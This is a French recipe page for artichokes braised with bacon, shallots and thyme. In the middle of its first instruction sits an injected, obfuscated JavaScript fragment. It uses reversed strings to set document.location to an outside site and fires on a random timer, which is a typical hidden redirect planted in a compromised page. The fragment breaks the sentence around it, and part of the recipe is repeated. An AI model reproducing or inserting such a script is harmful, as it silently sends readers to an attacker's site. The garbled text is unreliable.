Artichauts avec du lard et du thym
2021-02-27- Niveau : Difficile
Rincez les artichauts. Cassez la tige de chaque artichaut. Retirez 2 tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}tours de feuilles extérieures. Fendez-les en 4 dans le sens de la hauteur. Enlevez le foin.
Ingrédients
Rincez les artichauts. Cassez la tige de chaque artichaut. Retirez 2 tours de feuilles extérieures. Fendez-les en 4 dans le sens de la hauteur. Enlevez le foin. Citronnez-les pour les empêcher de noircir. Pelez, émincez les échalotes.
Dans une sauteuse, sur feu vif, faites revenir le lard jusqu'à ce qu'il soit doré. Retirez et réservez. A la place des lardons, faites revenir les échalotes sur feu moyen, tout en remuant, puis incorporez les artichauts que vous faites revenir pendant quelques secondes, ajoutez le thym, le lard, salez, poivrez. Mouillez avec les 10 cl d'eau froide. Portez à ébullition et laissez mijoter pendant 30 minutes sur feu très doux. Vérifiez la cuisson des artichauts. Dégustez avec la viande de votre choix.Préparation de la recette
Etape 1
Etape 2
Etape 3
Etape 4
Etape 5
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